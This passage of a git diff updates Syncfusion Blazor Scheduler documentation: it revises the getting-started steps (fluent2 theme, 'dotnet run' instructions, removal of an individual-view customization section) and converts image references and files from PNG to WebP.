-The theme stylesheet and script can be accessed from NuGet through [Static Web Assets](https://blazor.syncfusion.com/documentation/appearance/themes#static-web-assets). Include the stylesheet and script references within the `<head>` section of the **~/index.html** file.
+The theme stylesheet and script can be accessed from NuGet through [Static Web Assets](https://blazor.syncfusion.com/documentation/appearance/themes#static-web-assets). Include the [stylesheet](https://blazor.syncfusion.com/documentation/appearance/themes) and [script references](https://blazor.syncfusion.com/documentation/common/adding-script-references) in the **~/index.html** file.
+
+{% tabs %}
+{% highlight html tabtitle="index.html" %}
 
-```html
-<head>
-    ....
-    <link href="_content/Syncfusion.Blazor.Themes/bootstrap5.css" rel="stylesheet" />
-    <script src="_content/Syncfusion.Blazor.Core/scripts/syncfusion-blazor.min.js" type="text/javascript"></script>
+...
+<link href="_content/Syncfusion.Blazor.Themes/fluent2.css" rel="stylesheet" />
+...
+<script src="_content/Syncfusion.Blazor.Core/scripts/syncfusion-blazor.min.js" type="text/javascript"></script>
 
-    //Blazor Scheduler Component script reference.
-    <!-- <script src="_content/Syncfusion.Blazor.Schedule/scripts/sf-schedule.min.js" type="text/javascript"></script> -->
-</head>
-```
-N> Check out the [Blazor Themes](https://blazor.syncfusion.com/documentation/appearance/themes) topic to discover various methods ([Static Web Assets](https://blazor.syncfusion.com/documentation/appearance/themes#static-web-assets), [CDN](https://blazor.syncfusion.com/documentation/appearance/themes#cdn-reference), and [CRG](https://blazor.syncfusion.com/documentation/common/custom-resource-generator)) for referencing themes in Blazor application. Also, check out the [Adding Script Reference](https://blazor.syncfusion.com/documentation/common/adding-script-references) topic to learn different approaches for adding script references in Blazor application.
+{% endhighlight %}
+{% endtabs %}
 
 ## Add Blazor Scheduler component
 
-Add the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Scheduler component in the **~/Pages/Index.razor** file.
+Open a Razor file located in the **~/Pages/*.razor** (for example, **Home.razor**) and add the [Blazor Scheduler](https://www.syncfusion.com/blazor-components/blazor-scheduler) component inside the razor file.
+
+N> If the **Interactivity** is set to `Global` with `Auto` or `WebAssembly`, the render mode is automatically configured in the `App.razor` file by default.
 
 {% tabs %}
-{% highlight razor %}
+{% highlight razor tabtitle="Home.razor" %}
 
 <SfSchedule TValue=AppointmentData>
     <ScheduleViews>
@@ -226,16 +166,48 @@ Add the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Scheduler compon
 {% endhighlight %}
 {% endtabs %}
 
-* Press <kbd>Ctrl</kbd>+<kbd>F5</kbd> (Windows) or <kbd>⌘</kbd>+<kbd>F5</kbd> (macOS) to launch the application. This will render the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Scheduler component in the default web browser.
+**Run the application**
+
+{% tabcontents %}
+
+{% tabcontent Visual Studio %}
+
+* Press <kbd>Ctrl</kbd>+<kbd>F5</kbd> (Windows) or <kbd>⌘</kbd>+<kbd>F5</kbd> (macOS) to launch the application. The Blazor Scheduler component will render in your default web browser.
+
+{% endtabcontent %}
+
+{% tabcontent Visual Studio Code %}
+
+* Open the terminal and navigate to the Blazor WebAssembly App project folder, and run the following command.
+
+```bash
+dotnet run
+```
+
+{% endtabcontent %}
+
+{% tabcontent .NET CLI %}
+
+* Open the command prompt and navigate to the Blazor WebAssembly App project folder, and run the following command.
+
+```bash
+dotnet run
+```
+
+{% endtabcontent %}
+
+{% endtabcontents %}
+
+{% previewsample "https://blazorplayground.syncfusion.com/embed/VthHjyMbgFhiIMjE?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Scheduler Component](images/blazor-scheduler.png)" %}
 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/LNVpjWADUUybFgTL?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Scheduler Component](images/blazor-scheduler.png)" %}
+N> [View sample in GitHub](https://github.com/SyncfusionExamples/Blazor-Getting-Started-Examples/tree/main/Scheduler).
 
 ## Populating appointments
 
 To populate the Scheduler with appointments, bind the event data to it by assigning the `DataSource` property under [ScheduleEventSettings](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Schedule.ScheduleEventSettings-1.html#Syncfusion_Blazor_Schedule_ScheduleEventSettings_1__ctor).
 
 {% tabs %}
-{% highlight razor %}
+{% highlight razor tabtitle="Home.razor" %}
 
 <SfSchedule TValue="AppointmentData" Height="650px" @bind-SelectedDate="@CurrentDate">
     <ScheduleEventSettings DataSource="@DataSource"></ScheduleEventSettings>
@@ -280,7 +252,7 @@ To populate the Scheduler with appointments, bind the event data to it by assign
 The [Blazor Scheduler](https://www.syncfusion.com/blazor-components/blazor-scheduler) usually displays the system date as its current date. To change the current date of Scheduler with specific date, define the two-way binding for [SelectedDate](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Schedule.SfSchedule-1.html#Syncfusion_Blazor_Schedule_SfSchedule_1_SelectedDate) property.
 
 {% tabs %}
-{% highlight razor %}
+{% highlight razor tabtitle="Home.razor" %}
 
 <SfSchedule TValue="AppointmentData" Height="650px" @bind-SelectedDate="@CurrentDate">
     <ScheduleViews>
@@ -313,7 +285,11 @@ The [Blazor Scheduler](https://www.syncfusion.com/blazor-components/blazor-sched
 
 ## Setting view
 
-The Scheduler displays `Week` view by default. To change the current view, define the applicable view name to the two-way binding of [CurrentView](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Schedule.SfSchedule-1.html#Syncfusion_Blazor_Schedule_SfSchedule_1_CurrentView) property. The applicable view names are,
+The Scheduler displays `Week` view by default. To change the current view, define the applicable view name to the two-way binding of [CurrentView](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Schedule.SfSchedule-1.html#Syncfusion_Blazor_Schedule_SfSchedule_1_CurrentView) property.
+
+### Available Views
+
+The Scheduler supports the following built-in views:
 
 * Day
 * Week
@@ -328,8 +304,10 @@ The Scheduler displays `Week` view by default. To change the current view, defin
 * TimelineYear
 * Year
 
+You can configure only the required views as needed, and include additional views based on your application requirements.
+
 {% tabs %}
-{% highlight razor %}
+{% highlight razor tabtitle="Home.razor" %}
 
 <SfSchedule TValue="AppointmentData" Height="650px" @bind-CurrentView="@CurrentView">
     <ScheduleViews>
@@ -360,41 +338,7 @@ The Scheduler displays `Week` view by default. To change the current view, defin
 {% endhighlight %}
 {% endtabs %}
 
-## Individual view customization
-
-Each individual Scheduler views can be customized with its own options such as setting different start and end hour on Week and Work Week views, whereas hiding the weekend days on Month view alone which can be achieved by defining the `ScheduleView`.
-
-{% tabs %}
-{% highlight razor %}
-
-<SfSchedule TValue="AppointmentData" Height="650px" @bind-SelectedDate="@CurrentDate">
-    <ScheduleViews>
-        <ScheduleView Option="View.Week" StartHour="07:00" EndHour="15:00"></ScheduleView>
-        <ScheduleView Option="View.WorkWeek" StartHour="10:00" EndHour="18:00"></ScheduleView>
-        <ScheduleView Option="View.Month" MaxEventsPerRow="2" ShowWeekend="false"></ScheduleView>
-    </ScheduleViews>
-</SfSchedule>
-@code{
-    DateTime CurrentDate = new DateTime(2020, 2, 13);
-    public class AppointmentData
-    {
-        public int Id { get; set; }
-        public string Subject { get; set; }
-        public string Location { get; set; }
-        public DateTime StartTime { get; set; }
-        public DateTime EndTime { get; set; }
-        public string Description { get; set; }
-        public bool IsAllDay { get; set; }
-        public string RecurrenceRule { get; set; }
-        public string RecurrenceException { get; set; }
-        public Nullable<int> RecurrenceID { get; set; }
-    }
-}
-
-{% endhighlight %}
-{% endtabs %}
-
-## See Also
+## See also
 
 1. [Getting Started with Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor for client-side in .NET Core CLI](https://blazor.syncfusion.com/documentation/getting-started/blazor-webassembly-app)
 2. [Getting Started with Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor for client-side in Visual Studio](https://blazor.syncfusion.com/documentation/getting-started/blazor-webassembly-visual-studio)
diff --git a/blazor/scheduler/graphql-adptor.md b/blazor/scheduler/graphql-adptor.md
index 44dc4be7f4..cbe6cbd4fc 100644
--- a/blazor/scheduler/graphql-adptor.md
+++ b/blazor/scheduler/graphql-adptor.md
@@ -1016,7 +1016,7 @@ In your Scheduler app:
 2. Navigate to `https://localhost:5194` (or the port shown in the terminal).
 3. The Scheduler Application is now running and ready to use.
 
-    ![Basic Scheduler displaying appointments from the GraphQL Server](./images/blazor-scheduler-graphql-frontend.png)
+    ![Basic Scheduler displaying appointments from the GraphQL Server](./images/blazor-scheduler-graphql-frontend.webp)
 
 ---
 
diff --git a/blazor/scheduler/how-to/blazor-web-assembly-scheduler.md b/blazor/scheduler/how-to/blazor-web-assembly-scheduler.md
index 2a46dd70cd..8664287f18 100644
--- a/blazor/scheduler/how-to/blazor-web-assembly-scheduler.md
+++ b/blazor/scheduler/how-to/blazor-web-assembly-scheduler.md
@@ -130,6 +130,6 @@ Add the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Scheduler compon
 
 * Press <kbd>Ctrl</kbd>+<kbd>F5</kbd> (Windows) or <kbd>⌘</kbd>+<kbd>F5</kbd> (macOS) to launch the application. This will render the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Scheduler component in your default web browser.
 
-![Blazor Scheduler with Appointments](../images/blazor-scheduler-appointments.png)
+![Blazor Scheduler with Appointments](../images/blazor-scheduler-appointments.webp)
 
 N> Refer to our [Blazor Scheduler](https://www.syncfusion.com/blazor-components/blazor-scheduler) feature tour page for its groundbreaking feature representations. You can also explore our [Blazor Scheduler example](https://blazor.syncfusion.com/demos/scheduler/overview) to understand how to manage appointments with multiple resources.
\ No newline at end of file
diff --git a/blazor/scheduler/how-to/custom-editor-with-validation.md b/blazor/scheduler/how-to/custom-editor-with-validation.md
index 8fc76c6925..d8305c8405 100644
--- a/blazor/scheduler/how-to/custom-editor-with-validation.md
+++ b/blazor/scheduler/how-to/custom-editor-with-validation.md
@@ -230,4 +230,4 @@ The Data Annotation can be enabled by referencing the `System.ComponentModel.Dat
 
 The validation is applied on clicking the save button with empty fields as in the following image.
 
-![Custom Editor with Validation in Blazor Scheduler](../images/blazor-scheduler-custom-editor-with-validation.png)
+![Custom Editor with Validation in Blazor Scheduler](../images/blazor-scheduler-custom-editor-with-validation.webp)
diff --git a/blazor/scheduler/how-to/custom-header.md b/blazor/scheduler/how-to/custom-header.md
index 61225694df..18d28c49c5 100644
--- a/blazor/scheduler/how-to/custom-header.md
+++ b/blazor/scheduler/how-to/custom-header.md
@@ -109,4 +109,4 @@ The Scheduler header bar can be hidden by setting `false` to `ShowHeaderBar` and
 }
 ```
 
-![Blazor Scheduler with Custom Toolbar](../images/blazor-scheduler-custom-toolbar.png)
+![Blazor Scheduler with Custom Toolbar](../images/blazor-scheduler-custom-toolbar.webp)
diff --git a/blazor/scheduler/how-to/enable-scroll-option-on-all-day-section.md b/blazor/scheduler/how-to/enable-scroll-option-on-all-day-section.md
index a53003a272..13d08eec7a 100644
--- a/blazor/scheduler/how-to/enable-scroll-option-on-all-day-section.md
+++ b/blazor/scheduler/how-to/enable-scroll-option-on-all-day-section.md
@@ -63,4 +63,4 @@ N> This property is not applicable for Scheduler with height `auto`.
 }
 ```
 
-![Scrolling in Blazor Scheduler](../images/blazor-scheduler-scrolling.png)
\ No newline at end of file
+![Scrolling in Blazor Scheduler](../images/blazor-scheduler-scrolling.webp)
\ No newline at end of file
diff --git a/blazor/scheduler/how-to/set-min-max-date.md b/blazor/scheduler/how-to/set-min-max-date.md
index eb305c3b7e..22f63c16d0 100644
--- a/blazor/scheduler/how-to/set-min-max-date.md
+++ b/blazor/scheduler/how-to/set-min-max-date.md
@@ -48,4 +48,4 @@ In Scheduler, by default all the date ranges are available. A particular date ra
 }
 ```
 
-![Setting Minimum and Maximum Date in Blazor Scheduler](../images/blazor-scheduler-min-max-date.png)
+![Setting Minimum and Maximum Date in Blazor Scheduler](../images/blazor-scheduler-min-max-date.webp)
diff --git a/blazor/scheduler/images/blazor-aspnetcore-new-project.png b/blazor/scheduler/images/blazor-aspnetcore-new-project.png
deleted file mode 100644
index 8673e28227..0000000000
Binary files a/blazor/scheduler/images/blazor-aspnetcore-new-project.png and /dev/null differ
diff --git a/blazor/scheduler/images/blazor-aspnetcore-new-project.webp b/blazor/scheduler/images/blazor-aspnetcore-new-project.webp
new file mode 100644
index 0000000000..c1ce6daaac
Binary files /dev/null and b/blazor/scheduler/images/blazor-aspnetcore-new-project.webp differ
diff --git a/blazor/scheduler/images/blazor-client-template.png b/blazor/scheduler/images/blazor-client-template.png
deleted file mode 100644
index 0005e2b949..0000000000
Binary files a/blazor/scheduler/images/blazor-client-template.png and /dev/null differ
diff --git a/blazor/scheduler/images/blazor-client-template.webp b/blazor/scheduler/images/blazor-client-template.webp
new file mode 100644
index 0000000000..93fb402fea
Binary files /dev/null and b/blazor/scheduler/images/blazor-client-template.webp differ
diff --git a/blazor/scheduler/images/blazor-create-web-app.png b/blazor/scheduler/images/blazor-create-web-app.png
deleted file mode 100644
index 7dd6e612d2..0000000000
Binary files a/blazor/scheduler/images/blazor-create-web-app.png and /dev/null differ
diff --git a/blazor/scheduler/images/blazor-create-web-app.webp b/blazor/scheduler/images/blazor-create-web-app.webp
new file mode 100644
index 0000000000..199356f771
Binary files /dev/null and b/blazor/scheduler/images/blazor-create-web-app.webp differ
diff --git a/blazor/scheduler/images/blazor-minimalAPI-frontend.png b/blazor/scheduler/images/blazor-minimalAPI-frontend.png
deleted file mode 100644
index f5438848ab..0000000000
Binary files a/blazor/scheduler/images/blazor-minimalAPI-frontend.png and /dev/null differ
diff --git a/blazor/scheduler/images/blazor-minimalAPI-frontend.webp b/blazor/scheduler/images/blazor-minimalAPI-frontend.webp
new file mode 100644
index 0000000000..7a240e26f0
Binary files /dev/null and b/blazor/scheduler/images/blazor-minimalAPI-frontend.webp differ
diff --git a/blazor/scheduler/images/blazor-nuget-explorer.png b/blazor/scheduler/images/blazor-nuget-explorer.png
deleted file mode 100644
index b4b438be4e..0000000000
Binary files a/blazor/scheduler/images/blazor-nuget-explorer.png and /dev/null differ
diff --git a/blazor/scheduler/images/blazor-nuget-explorer.webp b/blazor/scheduler/images/blazor-nuget-explorer.webp
new file mode 100644
index 0000000000..2f0f933f54
Binary files /dev/null and b/blazor/scheduler/images/blazor-nuget-explorer.webp differ
diff --git a/blazor/scheduler/images/blazor-odatav4-filter.jpg b/blazor/scheduler/images/blazor-odatav4-filter.jpg
deleted file mode 100644
index 1a0f1e5d63..0000000000
Binary files a/blazor/scheduler/images/blazor-odatav4-filter.jpg and /dev/null differ
diff --git a/blazor/scheduler/images/blazor-odatav4-filter.webp b/blazor/scheduler/images/blazor-odatav4-filter.webp
new file mode 100644
index 0000000000..d827e37eef
Binary files /dev/null and b/blazor/scheduler/images/blazor-odatav4-filter.webp differ
diff --git a/blazor/scheduler/images/blazor-project-configuration.png b/blazor/scheduler/images/blazor-project-configuration.png
deleted file mode 100644
index 41e58a31db..0000000000
Binary files a/blazor/scheduler/images/blazor-project-configuration.png and /dev/null differ
diff --git a/blazor/scheduler/images/blazor-project-configuration.webp b/blazor/scheduler/images/blazor-project-configuration.webp
new file mode 100644
index 0000000000..97baa0ea00
Binary files /dev/null and b/blazor/scheduler/images/blazor-project-configuration.webp differ
diff --git a/blazor/scheduler/images/blazor-schedule-adaptiveui.png b/blazor/scheduler/images/blazor-schedule-adaptiveui.png
deleted file mode 100644
index 55bee3b6cd..0000000000
Binary files a/blazor/scheduler/images/blazor-schedule-adaptiveui.png and /dev/null differ
diff --git a/blazor/scheduler/images/blazor-schedule-adaptiveui.webp b/blazor/scheduler/images/blazor-schedule-adaptiveui.webp
new file mode 100644
index 0000000000..fc48bb6d84
Binary files /dev/null and b/blazor/scheduler/images/blazor-schedule-adaptiveui.webp differ
diff --git a/blazor/scheduler/images/blazor-schedule-different-workhour.png b/blazor/scheduler/images/blazor-schedule-different-workhour.png
deleted file mode 100644
index 6cf8cbbb0f..0000000000
Binary files a/blazor/scheduler/images/blazor-schedule-different-workhour.png and /dev/null differ
diff --git a/blazor/scheduler/images/blazor-schedule-different-workhour.webp b/blazor/scheduler/images/blazor-schedule-different-workhour.webp
new file mode 100644
index 0000000000..2f99e3ccb1
Binary files /dev/null and b/blazor/scheduler/images/blazor-schedule-different-workhour.webp differ
diff --git a/blazor/scheduler/images/blazor-schedule-expand-collapse.png b/blazor/scheduler/images/blazor-schedule-expand-collapse.png
deleted file mode 100644
index b70dcec1df..0000000000
Binary files a/blazor/scheduler/images/blazor-schedule-expand-collapse.png and /dev/null differ
diff --git a/blazor/scheduler/images/blazor-schedule-expand-collapse.webp b/blazor/scheduler/images/blazor-schedule-expand-collapse.webp
new file mode 100644
index 0000000000..78483a87dc
Binary files /dev/null and b/blazor/scheduler/images/blazor-schedule-expand-collapse.webp differ
diff --git a/blazor/scheduler/images/blazor-schedule-resource-color.png b/blazor/scheduler/images/blazor-schedule-resource-color.png
deleted file mode 100644
index d8aca5ffe8..0000000000
Binary files a/blazor/scheduler/images/blazor-schedule-resource-color.png and /dev/null differ
diff --git a/blazor/scheduler/images/blazor-schedule-resource-color.webp b/blazor/scheduler/images/blazor-schedule-resource-color.webp
new file mode 100644
index 0000000000..af5e3f87dc
Binary files /dev/null and b/blazor/scheduler/images/blazor-schedule-resource-color.webp differ
diff --git a/blazor/scheduler/images/blazor-schedule-tooltip.png b/blazor/scheduler/images/blazor-schedule-tooltip.png
deleted file mode 100644
index 0a047ef81c..0000000000
Binary files a/blazor/scheduler/images/blazor-schedule-tooltip.png and /dev/null differ
diff --git a/blazor/scheduler/images/blazor-schedule-tooltip.webp b/blazor/scheduler/images/blazor-schedule-tooltip.webp
new file mode 100644
index 0000000000..241e67ded7
Binary files /dev/null and b/blazor/scheduler/images/blazor-schedule-tooltip.webp differ
diff --git a/blazor/scheduler/images/blazor-scheduler-Alldaycells-verticalview.png b/blazor/scheduler/images/blazor-scheduler-Alldaycells-verticalview.png
deleted file mode 100644
index 6586e294b5..0000000000
Binary files a/blazor/scheduler/images/blazor-scheduler-Alldaycells-verticalview.png and /dev/null differ
diff --git a/blazor/scheduler/images/blazor-scheduler-Alldaycells-verticalview.webp b/blazor/scheduler/images/blazor-scheduler-Alldaycells-verticalview.webp
new file mode 100644
index 0000000000..e975acda5e
Binary files /dev/null and b/blazor/scheduler/images/blazor-scheduler-Alldaycells-verticalview.webp differ
diff --git a/blazor/scheduler/images/blazor-scheduler-add-events.png b/blazor/scheduler/images/blazor-scheduler-add-events.png
deleted file mode 100644
index 34621d5df9..0000000000
Binary files a/blazor/scheduler/images/blazor-scheduler-add-events.png and /dev/null differ
diff --git a/blazor/scheduler/images/blazor-scheduler-add-events.webp b/blazor/scheduler/images/blazor-scheduler-add-events.webp
new file mode 100644
index 0000000000..a6e9807378
Binary files /dev/null and b/blazor/scheduler/images/blazor-scheduler-add-events.webp differ
diff --git a/blazor/scheduler/images/blazor-scheduler-additional-parameters.png b/blazor/scheduler/images/blazor-scheduler-additional-parameters.png
deleted file mode 100644
index b258be0a9e..0000000000
Binary files a/blazor/scheduler/images/blazor-scheduler-additional-parameters.png and /dev/null differ
diff --git a/blazor/scheduler/images/blazor-scheduler-additional-parameters.webp b/blazor/scheduler/images/blazor-scheduler-additional-parameters.webp
new file mode 100644
index 0000000000..7791d80741
Binary files /dev/null and b/blazor/scheduler/images/blazor-scheduler-additional-parameters.webp differ
diff --git a/blazor/scheduler/images/blazor-scheduler-allday-appointments-vertical-view.png b/blazor/scheduler/images/blazor-scheduler-allday-appointments-vertical-view.png
deleted file mode 100644
index c88fe4967a..0000000000
Binary files a/blazor/scheduler/images/blazor-scheduler-allday-appointments-vertical-view.png and /dev/null differ
diff --git a/blazor/scheduler/images/blazor-scheduler-allday-appointments-vertical-view.webp b/blazor/scheduler/images/blazor-scheduler-allday-appointments-vertical-view.webp
new file mode 100644
index 0000000000..674933f73a
Binary files /dev/null and b/blazor/scheduler/images/blazor-scheduler-allday-appointments-vertical-view.webp differ
diff --git a/blazor/scheduler/images/blazor-scheduler-appointments-Timeline-view.png b/blazor/scheduler/images/blazor-scheduler-appointments-Timeline-view.png
deleted file mode 100644
index f944d4509f..0000000000
Binary files a/blazor/scheduler/images/blazor-scheduler-appointments-Timeline-view.png and /dev/null differ
diff --git a/blazor/scheduler/images/blazor-scheduler-appointments-Timeline-view.webp b/blazor/scheduler/images/blazor-scheduler-appointments-Timeline-view.webp
new file mode 100644
index 0000000000..3327aea6af
Binary files /dev/null and b/blazor/scheduler/images/blazor-scheduler-appointments-Timeline-view.webp differ
diff --git a/blazor/scheduler/images/blazor-scheduler-appointments-TimelineMonth-view.png b/blazor/scheduler/images/blazor-scheduler-appointments-TimelineMonth-view.png
deleted file mode 100644
index f3756fb6ff..0000000000
Binary files a/blazor/scheduler/images/blazor-scheduler-appointments-TimelineMonth-view.png and /dev/null differ
diff --git a/blazor/scheduler/images/blazor-scheduler-appointments-TimelineMonth-view.webp b/blazor/scheduler/images/blazor-scheduler-appointments-TimelineMonth-view.webp
new file mode 100644
index 0000000000..f3a88b4bae
Binary files /dev/null and b/blazor/scheduler/images/blazor-scheduler-appointments-TimelineMonth-view.webp differ
diff --git a/blazor/scheduler/images/blazor-scheduler-appointments-TimelineYear-view.png b/blazor/scheduler/images/blazor-scheduler-appointments-TimelineYear-view.png
deleted file mode 100644
index f9fed32eee..0000000000
Binary files a/blazor/scheduler/images/blazor-scheduler-appointments-TimelineYear-view.png and /dev/null differ
diff --git a/blazor/scheduler/images/blazor-scheduler-appointments-TimelineYear-view.webp b/blazor/scheduler/images/blazor-scheduler-appointments-TimelineYear-view.webp
new file mode 100644
index 0000000000..bc66afbc83
Binary files /dev/null and b/blazor/scheduler/images/blazor-scheduler-appointments-TimelineYear-view.webp differ
diff --git a/blazor/scheduler/images/blazor-scheduler-appointments-Year-view.png b/blazor/scheduler/images/blazor-scheduler-appointments-Year-view.png
deleted file mode 100644
index b733aa03f8..0000000000
Binary files a/blazor/scheduler/images/blazor-scheduler-appointments-Year-view.png and /dev/null differ
diff --git a/blazor/scheduler/images/blazor-scheduler-appointments-Year-view.webp b/blazor/scheduler/images/blazor-scheduler-appointments-Year-view.webp
new file mode 100644
index 0000000000..471a5d35eb
Binary files /dev/null and b/blazor/scheduler/images/blazor-scheduler-appointments-Year-view.webp differ
diff --git a/blazor/scheduler/images/blazor-scheduler-appointments-agenda-view.png b/blazor/scheduler/images/blazor-scheduler-appointments-agenda-view.png
deleted file mode 100644
index 576949f524..0000000000
Binary files a/blazor/scheduler/images/blazor-scheduler-appointments-agenda-view.png and /dev/null differ
diff --git a/blazor/scheduler/images/blazor-scheduler-appointments-agenda-view.webp b/blazor/scheduler/images/blazor-scheduler-appointments-agenda-view.webp
new file mode 100644
index 0000000000..a68c33f92c
Binary files /dev/null and b/blazor/scheduler/images/blazor-scheduler-appointments-agenda-view.webp differ
diff --git a/blazor/scheduler/images/blazor-scheduler-appointments-entirecell.png b/blazor/scheduler/images/blazor-scheduler-appointments-entirecell.png
deleted file mode 100644
index 5012ecd926..0000000000
Binary files a/blazor/scheduler/images/blazor-scheduler-appointments-entirecell.png and /dev/null differ
diff --git a/blazor/scheduler/images/blazor-scheduler-appointments-entirecell.webp b/blazor/scheduler/images/blazor-scheduler-appointments-entirecell.webp
new file mode 100644
index 0000000000..16a13e1ef9
Binary files /dev/null and b/blazor/scheduler/images/blazor-scheduler-appointments-entirecell.webp differ
diff --git a/blazor/scheduler/images/blazor-scheduler-appointments-month-view.png b/blazor/scheduler/images/blazor-scheduler-appointments-month-view.png
deleted file mode 100644
index be1f911aaf..0000000000
Binary files a/blazor/scheduler/images/blazor-scheduler-appointments-month-view.png and /dev/null differ
diff --git a/blazor/scheduler/images/blazor-scheduler-appointments-month-view.webp b/blazor/scheduler/images/blazor-scheduler-appointments-month-view.webp
new file mode 100644
index 0000000000..dacd349d59
Binary files /dev/null and b/blazor/scheduler/images/blazor-scheduler-appointments-month-view.webp differ
diff --git a/blazor/scheduler/images/blazor-scheduler-appointments-monthAgenda-view.png b/blazor/scheduler/images/blazor-scheduler-appointments-monthAgenda-view.png
deleted file mode 100644
index 85002988c1..0000000000
Binary files a/blazor/scheduler/images/blazor-scheduler-appointments-monthAgenda-view.png and /dev/null differ
diff --git a/blazor/scheduler/images/blazor-scheduler-appointments-monthAgenda-view.webp b/blazor/scheduler/images/blazor-scheduler-appointments-monthAgenda-view.webp
new file mode 100644
index 0000000000..18e8f5eb02
Binary files /dev/null and b/blazor/scheduler/images/blazor-scheduler-appointments-monthAgenda-view.webp differ
diff --git a/blazor/scheduler/images/blazor-scheduler-appointments-template.png b/blazor/scheduler/images/blazor-scheduler-appointments-template.png
deleted file mode 100644
index e94ae1a8bd..0000000000
Binary files a/blazor/scheduler/images/blazor-scheduler-appointments-template.png and /dev/null differ
diff --git a/blazor/scheduler/images/blazor-scheduler-appointments-template.webp b/blazor/scheduler/images/blazor-scheduler-appointments-template.webp
new file mode 100644
index 0000000000..60b6bfa18f
Binary files /dev/null and b/blazor/scheduler/images/blazor-scheduler-appointments-template.webp differ
diff --git a/blazor/scheduler/images/blazor-scheduler-appointments-tooltip-template.png b/blazor/scheduler/images/blazor-scheduler-appointments-tooltip-template.png
deleted file mode 100644
index f246fa86e2..0000000000
Binary files a/blazor/scheduler/images/blazor-scheduler-appointments-tooltip-template.png and /dev/null differ
diff --git a/blazor/scheduler/images/blazor-scheduler-appointments-tooltip-template.webp b/blazor/scheduler/images/blazor-scheduler-appointments-tooltip-template.webp
new file mode 100644
index 0000000000..fdbba911ea
Binary files /dev/null and b/blazor/scheduler/images/blazor-scheduler-appointments-tooltip-template.webp differ
diff --git a/blazor/scheduler/images/blazor-scheduler-appointments-tooltip.png b/blazor/scheduler/images/blazor-scheduler-appointments-tooltip.png
deleted file mode 100644
index 6407639fe0..0000000000
Binary files a/blazor/scheduler/images/blazor-scheduler-appointments-tooltip.png and /dev/null differ
diff --git a/blazor/scheduler/images/blazor-scheduler-appointments-tooltip.webp b/blazor/scheduler/images/blazor-scheduler-appointments-tooltip.webp
new file mode 100644
index 0000000000..46b5929ad2
Binary files /dev/null and b/blazor/scheduler/images/blazor-scheduler-appointments-tooltip.webp differ
diff --git a/blazor/scheduler/images/blazor-scheduler-appointments-vertical-view.png b/blazor/scheduler/images/blazor-scheduler-appointments-vertical-view.png
deleted file mode 100644
index c4e5fb8297..0000000000
Binary files a/blazor/scheduler/images/blazor-scheduler-appointments-vertical-view.png and /dev/null differ
diff --git a/blazor/scheduler/images/blazor-scheduler-appointments-vertical-view.webp b/blazor/scheduler/images/blazor-scheduler-appointments-vertical-view.webp
new file mode 100644
index 0000000000..c03a1cdaef
Binary files /dev/null and b/blazor/scheduler/images/blazor-scheduler-appointments-vertical-view.webp differ
diff --git a/blazor/scheduler/images/blazor-scheduler-appointments.png b/blazor/scheduler/images/blazor-scheduler-appointments.png
deleted file mode 100644
index 69d396272c..0000000000
Binary files a/blazor/scheduler/images/blazor-scheduler-appointments.png and /dev/null differ
diff --git a/blazor/scheduler/images/blazor-scheduler-appointments.webp b/blazor/scheduler/images/blazor-scheduler-appointments.webp
new file mode 100644
index 0000000000..2ccb57766d
Binary files /dev/null and b/blazor/scheduler/images/blazor-scheduler-appointments.webp differ
diff --git a/blazor/scheduler/images/blazor-scheduler-block-events.png b/blazor/scheduler/images/blazor-scheduler-block-events.png
deleted file mode 100644
index 55bc2281cc..0000000000
Binary files a/blazor/scheduler/images/blazor-scheduler-block-events.png and /dev/null differ
diff --git a/blazor/scheduler/images/blazor-scheduler-block-events.webp b/blazor/scheduler/images/blazor-scheduler-block-events.webp
new file mode 100644
index 0000000000..f5c7ba2012
Binary files /dev/null and b/blazor/scheduler/images/blazor-scheduler-block-events.webp differ
diff --git a/blazor/scheduler/images/blazor-scheduler-blocked-appointments.png b/blazor/scheduler/images/blazor-scheduler-blocked-appointments.png
deleted file mode 100644
index fd62654766..0000000000
Binary files a/blazor/scheduler/images/blazor-scheduler-blocked-appointments.png and /dev/null differ
diff --git a/blazor/scheduler/images/blazor-scheduler-blocked-appointments.webp b/blazor/scheduler/images/blazor-scheduler-blocked-appointments.webp
new file mode 100644
index 0000000000..ca8313ca5e
Binary files /dev/null and b/blazor/scheduler/images/blazor-scheduler-blocked-appointments.webp differ
diff --git a/blazor/scheduler/images/blazor-scheduler-cell-click-quick-popup.png b/blazor/scheduler/images/blazor-scheduler-cell-click-quick-popup.png
deleted file mode 100644
index d034a8172a..0000000000
Binary files a/blazor/scheduler/images/blazor-scheduler-cell-click-quick-popup.png and /dev/null differ
diff --git a/blazor/scheduler/images/blazor-scheduler-cell-click-quick-popup.webp b/blazor/scheduler/images/blazor-scheduler-cell-click-quick-popup.webp
new file mode 100644
index 0000000000..05ef7af8f3
Binary files /dev/null and b/blazor/scheduler/images/blazor-scheduler-cell-click-quick-popup.webp differ
diff --git a/blazor/scheduler/images/blazor-scheduler-celldimension-cellheader.png b/blazor/scheduler/images/blazor-scheduler-celldimension-cellheader.png
deleted file mode 100644
index 4ca872dece..0000000000
Binary files a/blazor/scheduler/images/blazor-scheduler-celldimension-cellheader.png and /dev/null differ
diff --git a/blazor/scheduler/images/blazor-scheduler-celldimension-cellheader.webp b/blazor/scheduler/images/blazor-scheduler-celldimension-cellheader.webp
new file mode 100644
index 0000000000..e031f81eb3
Binary files /dev/null and b/blazor/scheduler/images/blazor-scheduler-celldimension-cellheader.webp differ
diff --git a/blazor/scheduler/images/blazor-scheduler-celldimension-celltemplate.png b/blazor/scheduler/images/blazor-scheduler-celldimension-celltemplate.png
deleted file mode 100644
index 5b5248426d..0000000000
Binary files a/blazor/scheduler/images/blazor-scheduler-celldimension-celltemplate.png and /dev/null differ
